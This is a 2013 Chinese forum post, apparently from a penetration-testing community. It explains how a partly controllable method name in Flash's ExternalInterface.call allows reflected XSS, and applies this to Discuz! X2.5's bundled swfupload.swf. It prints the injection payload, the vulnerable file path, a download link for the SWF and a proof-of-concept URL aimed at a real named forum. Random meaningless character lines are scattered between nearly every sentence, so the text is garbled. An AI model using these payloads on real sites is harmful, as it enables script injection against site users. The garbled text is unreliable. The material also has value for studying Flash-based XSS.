中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
% O, {1 z3 Y; D
1 b6 {6 ^: C* h2 L6 Y" @
flash.external.ExternalInterface.call($methodName, $parameter)
! M; F6 }$ d8 u, X- J
在浏览器中执行的是
( R, D; Z1 W9 m5 ^8 D% O$ v1 e, w5 A
9 s; O3 E g7 v" @: ?4 j. g
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
- H5 y( n5 i7 J) H) |# G U
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
4 G K# N3 C8 j' ], \- K) {
# X! l' ]/ H1 M2 v
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
m+ Z& U- F# @
$methodName = a())}catch(e){alert(/xss/)}//
/ ^1 k2 I6 M, }2 X, s" x5 m) Z
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
7 Q5 M, Q6 i& p8 Y$ w
7 R. M: t/ C7 z# g+ y
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
4 x8 U+ S& [1 x/ B7 L( o% s
9 r3 `0 Z% C/ C; K* e3 t
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 J. P# M/ o/ t1 D
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
8 f) L3 W! b7 J& s2 c: f) R
9 n; _# Y) q" x* I% e5 D
" N2 h1 R8 M0 k# T( r: B
: @4 l1 k; |4 v; f- l+ A+ X
漏洞文件:upload\static\image\common\swfupload.swf
' X e5 |! V* n; O, F
' k" K" O' r" {( Q% `- x9 H
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
& F) z) H; i# C) H! N) ?0 C
# w$ h( _, |4 i: B) S( S
, c9 U7 G5 \/ q3 B
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
O" W- I5 @ y: A8 S% v+ Q
( Q+ j, f# m, p5 I- h0 k/ k# P) T
/ C8 X3 Y/ ]0 l; e9 X, {
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2